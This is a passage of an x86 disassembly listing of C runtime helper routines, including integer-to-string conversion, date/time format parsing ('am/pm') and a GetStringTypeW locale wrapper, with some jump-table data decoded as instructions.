XREF: sub_435160+44j mov eax, [ebp+arg_8] cmp dword ptr [eax], 0 jz short loc_4351A6 mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] test edx, edx jz short loc_4351A6 mov eax, [ebp+arg_4] mov ecx, [eax] mov edx, [ebp+arg_0] mov al, [edx] mov [ecx], al mov ecx, [ebp+arg_4] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_4] mov [eax], edx mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx mov edx, [ebp+arg_8] mov eax, [edx] sub eax, 1 mov ecx, [ebp+arg_8] mov [ecx], eax jmp short loc_435163 ; --------------------------------------------------------------------------- loc_4351A6: ; CODE XREF: sub_435160+9j ; sub_435160+13j pop ebp retn sub_435160 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4351B0 proc near ; CODE XREF: sub_434B40+1DBp ; sub_434B40+203p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 cmp ds:dword_4EED0C, 0 jz short loc_4351DA mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_0] push edx call sub_435260 add esp, 0Ch jmp short loc_435259 ; --------------------------------------------------------------------------- loc_4351DA: ; CODE XREF: sub_4351B0+12j mov eax, [ebp+arg_C] mov ecx, [ebp+arg_4] cmp ecx, [eax] jnb short loc_435250 mov edx, [ebp+arg_4] sub edx, 1 mov [ebp+arg_4], edx jmp short loc_4351F8 ; --------------------------------------------------------------------------- loc_4351EF: ; CODE XREF: sub_4351B0+82j mov eax, [ebp+arg_4] sub eax, 1 mov [ebp+arg_4], eax loc_4351F8: ; CODE XREF: sub_4351B0+3Dj mov ecx, [ebp+arg_4] add ecx, 1 test ecx, ecx jz short loc_435234 mov eax, [ebp+arg_0] cdq mov ecx, 0Ah idiv ecx add edx, 30h mov eax, [ebp+arg_8] mov ecx, [eax] mov eax, [ebp+arg_4] mov [ecx+eax], dl mov eax, [ebp+arg_0] cdq mov ecx, 0Ah idiv ecx mov [ebp+arg_0], eax mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx jmp short loc_4351EF ; --------------------------------------------------------------------------- loc_435234: ; CODE XREF: sub_4351B0+50j mov eax, [ebp+arg_8] mov ecx, [eax] add ecx, [ebp+var_4] mov edx, [ebp+arg_8] mov [edx], ecx mov eax, [ebp+arg_C] mov ecx, [eax] loc_435246: ; DATA XREF: seg002:004509D4o sub ecx, [ebp+var_4] mov edx, [ebp+arg_C] mov [edx], ecx jmp short loc_435259 ; --------------------------------------------------------------------------- loc_435250: ; CODE XREF: sub_4351B0+32j mov eax, [ebp+arg_C] mov dword ptr [eax], 0 loc_435259: ; CODE XREF: sub_4351B0+28j ; sub_4351B0+9Ej mov esp, ebp pop ebp retn sub_4351B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435260 proc near ; CODE XREF: sub_4351B0+20p var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] mov ecx, [eax] mov [ebp+var_4], ecx mov edx, [ebp+arg_8] cmp dword ptr [edx], 1 jbe short loc_4352BB loc_435276: ; CODE XREF: sub_435260+59j mov eax, [ebp+arg_0] cdq mov ecx, 0Ah idiv ecx add edx, 30h mov eax, [ebp+var_4] mov [eax], dl mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+arg_8] mov eax, [edx] sub eax, 1 mov ecx, [ebp+arg_8] mov [ecx], eax mov eax, [ebp+arg_0] cdq mov ecx, 0Ah idiv ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jle short loc_4352BB mov edx, [ebp+arg_8] cmp dword ptr [edx], 1 ja short loc_435276 loc_4352BB: ; CODE XREF: sub_435260+14j ; sub_435260+51j mov eax, [ebp+arg_4] mov ecx, [eax] mov [ebp+var_8], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_4] mov [edx], eax mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx loc_4352D4: ; CODE XREF: sub_435260+A6j mov edx, [ebp+var_4] mov al, [edx] mov [ebp+var_C], al mov ecx, [ebp+var_4] mov edx, [ebp+var_8] mov al, [edx] mov [ecx], al mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_8] mov al, [ebp+var_C] mov [edx], al mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx mov edx, [ebp+var_8] cmp edx, [ebp+var_4] jb short loc_4352D4 mov esp, ebp pop ebp retn sub_435260 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435310 proc near ; CODE XREF: sub_434B40+EBp ; sub_434B40+13Cp ... var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 30h loc_435316: ; CODE XREF: sub_435310+2EAj ; sub_435310:loc_4356DBj ... mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz loc_43578C mov edx, [ebp+arg_C] cmp dword ptr [edx], 0 jz loc_43578C mov [ebp+var_8], 0 mov ds:dword_4EED0C, 0 mov [ebp+var_C], 0 loc_435345: ; DATA XREF: seg002:00450A58o mov eax, [ebp+arg_0] mov [ebp+var_4], eax jmp short loc_435356 ; --------------------------------------------------------------------------- loc_43534D: ; CODE XREF: sub_435310+5Fj mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx loc_435356: ; CODE XREF: sub_435310+3Bj mov edx, [ebp+var_4] movsx eax, byte ptr [edx] mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx cmp eax, edx jnz short loc_435371 jmp short loc_43534D ; --------------------------------------------------------------------------- loc_435371: ; CODE XREF: sub_435310+5Dj mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] mov [ebp+var_14], ecx mov edx, [ebp+var_14] sub edx, 27h mov [ebp+var_14], edx cmp [ebp+var_14], 52h ja loc_4356E0 mov ecx, [ebp+var_14] xor eax, eax mov al, ds:byte_4357BC[ecx] jmp ds:off_435790[eax*4] loc_4353A8: ; DATA XREF: seg000:0043579Co mov edx, [ebp+var_C] mov [ebp+var_18], edx mov eax, [ebp+var_18] sub eax, 1 mov [ebp+var_18], eax cmp [ebp+var_18], 3 ja short loc_4353E1 mov ecx, [ebp+var_18] jmp dword ptr ds:loc_43580F[ecx*4] mov ds:dword_4EED0C, 1 loc_4353D1: ; CODE XREF: sub_435310+B0j mov [ebp+var_8], 6Dh jmp short loc_4353E1 ; --------------------------------------------------------------------------- loc_4353D7: ; CODE XREF: sub_435310+B0j mov [ebp+var_8], 62h jmp short loc_4353E1 ; --------------------------------------------------------------------------- loc_4353DD: ; CODE XREF: sub_435310+B0j mov [ebp+var_8], 42h loc_4353E1: ; CODE XREF: sub_435310+ABj ; sub_435310+C5j ... jmp loc_4356E0 ; --------------------------------------------------------------------------- loc_4353E6: ; CODE XREF: sub_435310+91j ; DATA XREF: seg000:004357A0o mov edx, [ebp+var_C] mov [ebp+var_1C], edx mov eax, [ebp+var_1C] sub eax, 1 mov [ebp+var_1C], eax cmp [ebp+var_1C], 3 ja short loc_43541F mov ecx, [ebp+var_1C] jmp dword ptr ds:loc_43581E+1[ecx*4] loc_435405: ; CODE XREF: sub_435310+B0j mov ds:dword_4EED0C, 1 loc_43540F: ; CODE XREF: sub_435310+B0j ; sub_435310+EEj mov [ebp+var_8], 64h jmp short loc_43541F ; --------------------------------------------------------------------------- loc_435415: ; CODE XREF: sub_435310+B0j ; sub_435310+EEj mov [ebp+var_8], 61h jmp short loc_43541F ; --------------------------------------------------------------------------- loc_43541B: ; CODE XREF: sub_435310+B0j ; sub_435310+EEj mov [ebp+var_8], 41h loc_43541F: ; CODE XREF: sub_435310+E9j ; sub_435310+103j ... jmp loc_4356E0 ; --------------------------------------------------------------------------- loc_435424: ; CODE XREF: sub_435310+91j ; DATA XREF: seg000:004357B4o mov edx, [ebp+var_C] mov [ebp+var_20], edx cmp [ebp+var_20], 2 jz short loc_435438 cmp [ebp+var_20], 4 jz short loc_43543E jmp short loc_435442 ; --------------------------------------------------------------------------- loc_435438: ; CODE XREF: sub_435310+11Ej mov [ebp+var_8], 79h jmp short loc_435442 ; --------------------------------------------------------------------------- loc_43543E: ; CODE XREF: sub_435310+124j mov [ebp+var_8], 59h loc_435442: ; CODE XREF: sub_435310+126j ; sub_435310+12Cj jmp loc_4356E0 ; --------------------------------------------------------------------------- loc_435447: ; CODE XREF: sub_435310+91j ; DATA XREF: seg000:004357A4o mov eax, [ebp+var_C] mov [ebp+var_24], eax cmp [ebp+var_24], 1 jz short loc_43545B cmp [ebp+var_24], 2 jz short loc_435465 jmp short loc_435469 ; --------------------------------------------------------------------------- loc_43545B: ; CODE XREF: sub_435310+141j mov ds:dword_4EED0C, 1 loc_435465: ; CODE XREF: sub_435310+147j mov [ebp+var_8], 49h loc_435469: ; CODE XREF: sub_435310+149j jmp loc_4356E0 ; --------------------------------------------------------------------------- loc_43546E: ; CODE XREF: sub_435310+91j ; DATA XREF: seg000:00435798o mov ecx, [ebp+var_C] mov [ebp+var_28], ecx cmp [ebp+var_28], 1 jz short loc_435482 cmp [ebp+var_28], 2 jz short loc_43548C jmp short loc_435490 ; --------------------------------------------------------------------------- loc_435482: ; CODE XREF: sub_435310+168j mov ds:dword_4EED0C, 1 loc_43548C: ; CODE XREF: sub_435310+16Ej mov [ebp+var_8], 48h loc_435490: ; CODE XREF: sub_435310+170j jmp loc_4356E0 ; --------------------------------------------------------------------------- loc_435495: ; CODE XREF: sub_435310+91j ; DATA XREF: seg000:004357A8o mov edx, [ebp+var_C] mov [ebp+var_2C], edx cmp [ebp+var_2C], 1 jz short loc_4354A9 cmp [ebp+var_2C], 2 jz short loc_4354B3 jmp short loc_4354B7 ; --------------------------------------------------------------------------- loc_4354A9: ; CODE XREF: sub_435310+18Fj mov ds:dword_4EED0C, 1 loc_4354B3: ; CODE XREF: sub_435310+195j mov [ebp+var_8], 4Dh loc_4354B7: ; CODE XREF: sub_435310+197j jmp loc_4356E0 ; --------------------------------------------------------------------------- loc_4354BC: ; CODE XREF: sub_435310+91j ; DATA XREF: seg000:004357ACo mov eax, [ebp+var_C] mov [ebp+var_30], eax cmp [ebp+var_30], 1 jz short loc_4354D0 cmp [ebp+var_30], 2 jz short loc_4354DA jmp short loc_4354DE ; --------------------------------------------------------------------------- loc_4354D0: ; CODE XREF: sub_435310+1B6j mov ds:dword_4EED0C, 1 loc_4354DA: ; CODE XREF: sub_435310+1BCj mov [ebp+var_8], 53h loc_4354DE: ; CODE XREF: sub_435310+1BEj jmp loc_4356E0 ; --------------------------------------------------------------------------- loc_4354E3: ; CODE XREF: sub_435310+91j ; DATA XREF: seg000:00435794o push offset aAmPm ; "am/pm" mov ecx, [ebp+arg_0] push ecx call sub_435D40 add esp, 8 test eax, eax jnz short loc_435503 mov edx, [ebp+arg_0] add edx, 5 mov [ebp+var_4], edx jmp short loc_435521 ; --------------------------------------------------------------------------- loc_435503: ; CODE XREF: sub_435310+1E6j push offset aAP ; "a/p" mov eax, [ebp+arg_0] push eax call sub_435D40 add esp, 8 test eax, eax jnz short loc_435521 mov ecx, [ebp+arg_0] add ecx, 3 mov [ebp+var_4], ecx loc_435521: ; CODE XREF: sub_435310+1F1j ; sub_435310+206j mov [ebp+var_8], 70h jmp loc_4356E0 ; --------------------------------------------------------------------------- loc_43552A: ; CODE XREF: sub_435310+91j ; DATA XREF: seg000:004357B0o mov edx, [ebp+arg_4] cmp dword ptr [edx+8], 0Bh jg short loc_435541 mov eax, [ebp+arg_10] mov ecx, [eax+98h] mov [ebp+var_10], ecx jmp short loc_43554D ; --------------------------------------------------------------------------- loc_435541: ; CODE XREF: sub_435310+221j mov edx, [ebp+arg_10] mov eax, [edx+9Ch] mov [ebp+var_10], eax loc_43554D: ; CODE XREF: sub_435310+22Fj ; sub_435310+2DFj cmp [ebp+var_C], 0 jle loc_4355F4 mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 0 jbe loc_4355F4 mov edx, [ebp+var_10] xor eax, eax mov al, [edx] mov ecx, ds:off_44FE2C xor edx, edx mov dx, [ecx+eax*2] and edx, 8000h test edx, edx jz short loc_4355B7 mov eax, [ebp+arg_C] cmp dword ptr [eax], 1 jbe short loc_4355B7 mov ecx, [ebp+arg_8] mov edx, [ecx] mov eax, [ebp+var_10] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_8] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_8] mov [ecx], eax mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_10], edx mov eax, [ebp+arg_C] mov ecx, [eax] sub ecx, 1 mov edx, [ebp+arg_C] mov [edx], ecx loc_4355B7: ; CODE XREF: sub_435310+26Ej ; sub_435310+276j mov eax, [ebp+arg_8] mov ecx, [eax] mov edx, [ebp+var_10] mov al, [edx] mov [ecx], al mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx mov edx, [ebp+arg_C] mov eax, [edx] sub eax, 1 mov ecx, [ebp+arg_C] mov [ecx], eax mov edx, [ebp+var_C] sub edx, 1 mov [ebp+var_C], edx jmp loc_43554D ; --------------------------------------------------------------------------- loc_4355F4: ; CODE XREF: sub_435310+241j ; sub_435310+24Dj mov eax, [ebp+var_4] mov [ebp+arg_0], eax jmp loc_435316 ; --------------------------------------------------------------------------- loc_4355FF: ; CODE XREF: sub_435310+91j ; DATA XREF: seg000:off_435790o mov ecx, [ebp+var_C] and ecx, 1 test ecx, ecx jz loc_4356D2 mov edx, [ebp+arg_0] add edx, [ebp+var_C] mov [ebp+arg_0], edx loc_435616: ; CODE XREF: sub_435310+3BBj mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz loc_4356D0 mov edx, [ebp+arg_C] cmp dword ptr [edx], 0 jz loc_4356D0 mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] cmp ecx, 27h jnz short loc_435649 mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx jmp loc_4356D0 ; --------------------------------------------------------------------------- loc_435649: ; CODE XREF: sub_435310+329j mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] mov edx, ds:off_44FE2C xor eax, eax mov ax, [edx+ecx*2] and eax, 8000h test eax, eax jz short loc_43569C mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 1 jbe short loc_43569C mov edx, [ebp+arg_8] mov eax, [edx] mov ecx, [ebp+arg_0] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_8] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_8] mov [edx], ecx mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax mov ecx, [ebp+arg_C] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_C] mov [eax], edx loc_43569C: ; CODE XREF: sub_435310+353j ; sub_435310+35Bj mov ecx, [ebp+arg_8] mov edx, [ecx] mov eax, [ebp+arg_0] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_8] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_8] mov [ecx], eax mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx mov eax, [ebp+arg_C] mov ecx, [eax] sub ecx, 1 mov edx, [ebp+arg_C] mov [edx], ecx jmp loc_435616 ; --------------------------------------------------------------------------- loc_4356D0: ; CODE XREF: sub_435310+30Ej ; sub_435310+31Aj ... jmp short loc_4356DB ; --------------------------------------------------------------------------- loc_4356D2: ; CODE XREF: sub_435310+2F7j mov eax, [ebp+arg_0] add eax, [ebp+var_C] mov [ebp+arg_0], eax loc_4356DB: ; CODE XREF: sub_435310:loc_4356D0j jmp loc_435316 ; --------------------------------------------------------------------------- loc_4356E0: ; CODE XREF: sub_435310+80j ; sub_435310+91j ... movsx ecx, [ebp+var_8] test ecx, ecx jz short loc_43570C mov edx, [ebp+arg_10] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov al, [ebp+var_8] push eax call sub_434B40 add esp, 14h mov ecx, [ebp+var_4] mov [ebp+arg_0], ecx jmp short loc_435787 ; --------------------------------------------------------------------------- loc_43570C: ; CODE XREF: sub_435310+3D6j mov edx, [ebp+arg_0] xor eax, eax mov al, [edx] mov ecx, ds:off_44FE2C xor edx, edx mov dx, [ecx+eax*2] and edx, 8000h test edx, edx jz short loc_435758 mov eax, [ebp+arg_8] mov ecx, [eax] mov edx, [ebp+arg_0] mov al, [edx] mov [ecx], al mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx mov edx, [ebp+arg_C] mov eax, [edx] sub eax, 1 mov ecx, [ebp+arg_C] mov [ecx], eax loc_435758: ; CODE XREF: sub_435310+417j mov edx, [ebp+arg_8] mov eax, [edx] mov ecx, [ebp+arg_0] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_8] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_8] mov [edx], ecx mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax mov ecx, [ebp+arg_C] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_C] mov [eax], edx loc_435787: ; CODE XREF: sub_435310+3FAj jmp loc_435316 ; --------------------------------------------------------------------------- loc_43578C: ; CODE XREF: sub_435310+Ej ; sub_435310+1Aj mov esp, ebp pop ebp retn sub_435310 endp ; --------------------------------------------------------------------------- off_435790 dd offset loc_4355FF ; DATA XREF: sub_435310+91r dd offset loc_4354E3 dd offset loc_43546E dd offset loc_4353A8 dd offset loc_4353E6 dd offset loc_435447 dd offset loc_435495 dd offset loc_4354BC dd offset loc_43552A dd offset loc_435424 dd offset loc_4356E0 byte_4357BC db 0 ; DATA XREF: sub_435310+8Br ; --------------------------------------------------------------------------- or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or al, [ecx] or cl, [edx] or cl, [edx] or cl, [edx] add cl, [edx] or cl, [edx] or al, [ebx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or al, [ecx] or cl, [edx] add al, 0Ah or cl, [edx] add eax, 0A0A0A0Ah push es or cl, [edx] or cl, [edx] or al, [edi] or [edx], cl or cl, [edx] or cl, [ecx] loc_43580F: ; DATA XREF: sub_435310+B0r mov dword ptr [ebx+43h], 4353D100h add bh, dl push ebx inc ebx add ch, bl push ebx inc ebx loc_43581E: ; DATA XREF: sub_435310+EEr add ds:0F004354h, al push esp inc ebx add ds:1B004354h, dl push esp inc ebx add ah, cl ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435830 proc near ; CODE XREF: sub_430880+41p ; sub_430880+60p ... var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0A8h cmp [ebp+arg_0], 1 jnz loc_435999 mov eax, [ebp+arg_C] mov [ebp+var_90], eax lea ecx, [ebp+var_8C] mov [ebp+var_C], ecx mov [ebp+var_4], 0 mov [ebp+var_94], 80h push 0 mov edx, [ebp+var_94] push edx mov eax, [ebp+var_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx call sub_436820 add esp, 14h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz loc_43591F call ds:dword_4F1310 ; RtlGetLastWin32Error cmp eax, 7Ah jz short loc_4358A0 jmp loc_43597D ; --------------------------------------------------------------------------- loc_4358A0: ; CODE XREF: sub_435830+69j push 0 push 0 push 0 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx call sub_436820 add esp, 14h mov [ebp+var_94], eax cmp [ebp+var_94], 0 jnz short loc_4358CA jmp loc_43597D ; --------------------------------------------------------------------------- loc_4358CA: ; CODE XREF: sub_435830+93j push 58h push offset aInithelp_c ; "inithelp.c" push 2 mov edx, [ebp+var_94] push edx call sub_41AE60 add esp, 10h mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_4358F0 jmp loc_43597D ; --------------------------------------------------------------------------- loc_4358F0: ; CODE XREF: sub_435830+B9j mov [ebp+var_4], 1 push 0 mov eax, [ebp+var_94] push eax mov ecx, [ebp+var_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax call sub_436820 add esp, 14h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_43591F jmp short loc_43597D ; --------------------------------------------------------------------------- loc_43591F: ; CODE XREF: sub_435830+5Aj ; sub_435830+EBj push 63h push offset aInithelp_c ; "inithelp.c" push 2 mov ecx, [ebp+var_8] push ecx call sub_41AE60 add esp, 10h mov edx, [ebp+var_90] mov [edx], eax mov eax, [ebp+var_90] cmp dword ptr [eax], 0 jnz short loc_435949 jmp short loc_43597D ; --------------------------------------------------------------------------- loc_435949: ; CODE XREF: sub_435830+115j mov ecx, [ebp+var_8] push ecx mov edx, [ebp+var_C] push edx mov eax, [ebp+var_90] mov ecx, [eax] push ecx call sub_41D800 add esp, 0Ch cmp [ebp+var_4], 0 jz short loc_435976 push 2 mov edx, [ebp+var_C] push edx call sub_41B8F0 add esp, 8 loc_435976: ; CODE XREF: sub_435830+136j xor eax, eax jmp loc_435AB6 ; --------------------------------------------------------------------------- loc_43597D: ; CODE XREF: sub_435830+6Bj ; sub_435830+95j ... cmp [ebp+var_4], 0 jz short loc_435991 push 2 mov eax, [ebp+var_C] push eax call sub_41B8F0 add esp, 8 loc_435991: ; CODE XREF: sub_435830+151j or eax, 0FFFFFFFFh jmp loc_435AB6 ; --------------------------------------------------------------------------- loc_435999: ; CODE XREF: sub_435830+Dj cmp [ebp+arg_0], 0 jnz loc_435AB3 mov [ebp+var_A4], 4 mov ecx, [ebp+arg_C] mov [ebp+var_9C], ecx push 0 mov edx, [ebp+var_A4] push edx push offset byte_4EECE8 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx call sub_436680 add esp, 14h test eax, eax jnz short loc_4359E0 or eax, 0FFFFFFFFh jmp loc_435AB6 ; --------------------------------------------------------------------------- loc_4359E0: ; CODE XREF: sub_435830+1A6j mov edx, [ebp+var_9C] mov byte ptr [edx], 0 mov [ebp+var_A0], 0 jmp short loc_435A04 ; --------------------------------------------------------------------------- loc_4359F5: ; CODE XREF: sub_435830:loc_435AAAj mov eax, [ebp+var_A0] add eax, 1 mov [ebp+var_A0], eax loc_435A04: ; CODE XREF: sub_435830+1C3j cmp [ebp+var_A0], 4 jge loc_435AAF cmp ds:dword_44FD20, 1 jle short loc_435A4B push 4 mov ecx, [ebp+var_A0] mov dl, ds:byte_4EECE8[ecx*2] mov byte ptr [ebp+var_98], dl mov eax, [ebp+var_98] and eax, 0FFh push eax call sub_423D90 add esp, 8 mov [ebp+var_A8], eax jmp short loc_435A7E ; --------------------------------------------------------------------------- loc_435A4B: ; CODE XREF: sub_435830+1E8j mov ecx, [ebp+var_A0] mov dl, ds:byte_4EECE8[ecx*2] mov byte ptr [ebp+var_98], dl mov eax, [ebp+var_98] and eax, 0FFh mov ecx, ds:off_44FE2C xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp+var_A8], edx loc_435A7E: ; CODE XREF: sub_435830+219j cmp [ebp+var_A8], 0 jz short loc_435AA8 mov eax, [ebp+var_9C] movsx ecx, byte ptr [eax] imul ecx, 0Ah movsx edx, byte ptr [ebp+var_98] lea eax, [ecx+edx-30h] mov ecx, [ebp+var_9C] mov [ecx], al jmp short loc_435AAA ; --------------------------------------------------------------------------- loc_435AA8: ; CODE XREF: sub_435830+255j jmp short loc_435AAF ; --------------------------------------------------------------------------- loc_435AAA: ; CODE XREF: sub_435830+276j jmp loc_4359F5 ; --------------------------------------------------------------------------- loc_435AAF: ; CODE XREF: sub_435830+1DBj ; sub_435830:loc_435AA8j xor eax, eax jmp short loc_435AB6 ; --------------------------------------------------------------------------- loc_435AB3: ; CODE XREF: sub_435830+16Dj or eax, 0FFFFFFFFh loc_435AB6: ; CODE XREF: sub_435830+148j ; sub_435830+164j ... mov esp, ebp pop ebp retn sub_435830 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, ds:off_451048 pop ebp retn ; --------------------------------------------------------------------------- align 10h loc_435AD0: ; CODE XREF: seg000:00431AC6p push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43AED0 push offset sub_42CA04 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFDCh push ebx push esi push edi mov [ebp-18h], esp cmp ds:dword_4EECF4, 0 jnz short loc_435B4E lea eax, [ebp-1Ch] push eax push 1 push offset dword_43A2A8 push 1 call ds:dword_4F12CC ; GetStringTypeW test eax, eax jz short loc_435B22 mov ds:dword_4EECF4, 1 jmp short loc_435B4E ; --------------------------------------------------------------------------- loc_435B22: ; CODE XREF: seg000:00435B14j lea ecx, [ebp-1Ch] push ecx push 1 push offset dword_43A2A4 push 1 push 0 call near ptr 3D0000h rol dword ptr [ebp-38F38B40h], cl add eax, offset dword_4EECF4 add al, [eax] ; --------------------------------------------------------------------------- db 0 dd 3307EB00h, 1DBE9C0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_435B4E: ; CODE XREF: seg000:00435AFDj ; seg000:00435B20j cmp ds:dword_4EECF4, 1 jnz short loc_435B72 mov edx, [ebp+14h] push edx mov eax, [ebp+10h] push eax mov ecx, [ebp+0Ch] push ecx mov edx, [ebp+8] push edx call ds:dword_4F12CC ; GetStringTypeW jmp loc_435D29 ; --------------------------------------------------------------------------- loc_435B72: ; CODE XREF: seg000:00435B55j cmp ds:dword_4EECF4, 2 jnz loc_435D27 cmp dword ptr [ebp+18h], 0 jnz short loc_435B8D mov eax, ds:dword_4EEA80 mov [ebp+18h], eax loc_435B8D: ; CODE XREF: seg000:00435B83j push 0 push 0 push 0 push 0 mov ecx, [ebp+10h] push ecx mov edx, [ebp+0Ch] push edx push 220h mov eax, [ebp+18h] push eax call ds:dword_4F1384 ; WideCharToMultiByte mov [ebp-28h], eax cmp dword ptr [ebp-28h], 0 jnz short loc_435BBC xor eax, eax jmp loc_435D29 ; --------------------------------------------------------------------------- loc_435BBC: ; CODE XREF: seg000:00435BB3j mov dword ptr [ebp-4], 0 mov eax, [ebp-28h] add eax, 3 and al, 0FCh call sub_41DEB0 mov [ebp-30h], esp mov [ebp-18h], esp mov ecx, [ebp-30h] mov [ebp-2Ch], ecx mov edx, [ebp-28h] push edx push 0 mov eax, [ebp-2Ch] push eax call sub_41D100 add esp, 0Ch mov dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_435C0E ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] mov dword ptr [ebp-2Ch], 0 mov dword ptr [ebp-4], 0FFFFFFFFh loc_435C0E: ; CODE XREF: seg000:00435BF5j cmp dword ptr [ebp-2Ch], 0 jnz short loc_435C1B xor eax, eax jmp loc_435D29 ; --------------------------------------------------------------------------- loc_435C1B: ; CODE XREF: seg000:00435C12j push 0 push 0 mov ecx, [ebp-28h] push ecx mov edx, [ebp-2Ch] push edx mov eax, [ebp+10h] push eax mov ecx, [ebp+0Ch] push ecx push 220h mov edx, [ebp+18h] push edx call ds:dword_4F1384 ; WideCharToMultiByte test eax, eax jnz short loc_435C49 xor eax, eax jmp loc_435D29 ; --------------------------------------------------------------------------- loc_435C49: ; CODE XREF: seg000:00435C40j mov dword ptr [ebp-4], 1 mov eax, [ebp-28h] lea eax, [eax+eax+2] add eax, 3 and al, 0FCh call sub_41DEB0 mov [ebp-34h], esp mov [ebp-18h], esp mov ecx, [ebp-34h] mov [ebp-24h], ecx mov dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_435C8D ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] mov dword ptr [ebp-24h], 0 mov dword ptr [ebp-4], 0FFFFFFFFh loc_435C8D: ; CODE XREF: seg000:00435C74j cmp dword ptr [ebp-24h], 0 jnz short loc_435C9A xor eax, eax jmp loc_435D29 